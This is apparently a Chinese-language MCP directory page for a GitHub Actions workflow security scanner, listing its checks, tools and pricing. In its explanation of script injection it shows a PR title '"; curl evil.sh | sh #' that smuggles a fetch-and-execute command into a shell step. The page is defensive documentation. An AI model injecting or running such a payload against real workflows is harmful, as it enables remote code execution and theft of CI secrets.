mcpField
G
GitHub Actions Security Audit

GitHub Actions Security Audit

远程服务
github.com/tylerscomic-lab安全04 周前更新
代码仓库

关于 GitHub Actions Security Audit

面向安全团队和工作流维护者的 MCP 服务,用于检查 GitHub Actions YAML 中的常见漏洞模式。它会解析工作流结构,并提供问题位置、风险说明和具体修复建议。

主要功能

  1. 01检测 Shell 表达式注入
  2. 02查找未固定到提交 SHA 的 Action
  3. 03标记缺失的令牌权限
  4. 04检查 pull_request_target 与 head checkout
  5. 05提供位置、风险和修复建议

适用场景

  1. 01合并变更前审查工作流
  2. 02检查 run 命令中的表达式注入

MCP 相关

向 MCP 客户端提供工作流审计和表达式注入专项检查工具。

配置

远程服务无需本地安装。选择你使用的客户端,复制配置或使用一键安装。

服务地址https://github-actions-audit-mcp.mcpize.run/mcp
一键复制安装命令
Claude CodeTerminal
Cursor.cursor/mcp.json
VS Code.vscode/mcp.json
Claude Desktopclaude_desktop_config.json
Windsurf~/.codeium/windsurf/mcp_config.json

命令在终端中运行;JSON 粘贴到对应客户端的 MCP 配置后重启。需要授权的服务会在首次连接时提示登录。

工具

详细介绍

github-actions-audit-mcp

License: MIT Live on MCPize

一个 MCP 服务,用于审计 GitHub Actions 工作流 YAML 中导致过实际安全事件的漏洞类型——它不是代码检查工具,而是安全扫描器。它会解析真实的 YAML 结构(手写的块解析器,仅覆盖工作流文件实际使用的语法),而不是针对原始文件进行字符串或正则匹配。

可以检测的问题

脚本注入。 任何类似 ${{ github.event.issue.title }} 的表达式,只要包含攻击者可控的文本(Issue/PR 标题、评论、评审内容、分支名称),并直接插入 run: shell 步骤中,都会被检测到。表达式会在 shell 运行之前替换到生成的 shell 脚本中——标题为 "; curl evil.sh | sh # 的 PR 会变成字面的 shell 语法,而不是字符串。这是 GitHub Actions 中最常见的现实漏洞。工具会标出具体表达式,并展示真正能消除此风险的环境变量修复方法。

未固定版本的第三方 Action。 uses: some-action@v4 或 @main 可由控制相应标签或分支的人重新指向其他内容,而你无需改动工作流文件中的任何字符——tj-actions/changed-files 遭入侵事件(2025 年 3 月)就是如此:维护者的 PAT 被用于将 v35–v46 标签重新指向一个窃取凭证的提交。只有完整的 40 字符提交 SHA 才不可变。

缺少 permissions: 块。 未显式设置 permissions: 时,GITHUB_TOKEN 的默认权限取决于仓库或组织的设置——通常为读写权限。任何步骤一旦遭到入侵,就会继承该完整权限范围。

pull_request_target + 检出 PR 的 head。 这个触发器会使用基础仓库的机密信息和写入权限的令牌运行(普通的 pull_request 则不会),而且如果工作流还检出了 PR 自身的 head 提交,来自 fork 的 PR 就可能使用你的机密信息运行任意代码。真实的供应链安全事件中就出现过这种情况。

工具

audit_workflow

全面审计工作流 YAML 文件。返回风险级别以及所有发现的问题,包括具体位置、风险原因和切实可行的修复方法。

check_expression_injection

针对单个 shell 命令字符串进行专项检查,适用于只想快速检查某个 run: 步骤、而不需要审计完整工作流文件的情况。

使用方法

托管服务(推荐): MCPize——提供免费套餐,Pro 版每月 $7。

自行托管:

npm install
node server.js

属于一个小型工具套件

regex-safety-audit-mcp, mcp-trust-audit-mcp, secrets-leak-audit-mcp, dockerfile-audit-mcp.

许可证

MIT

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。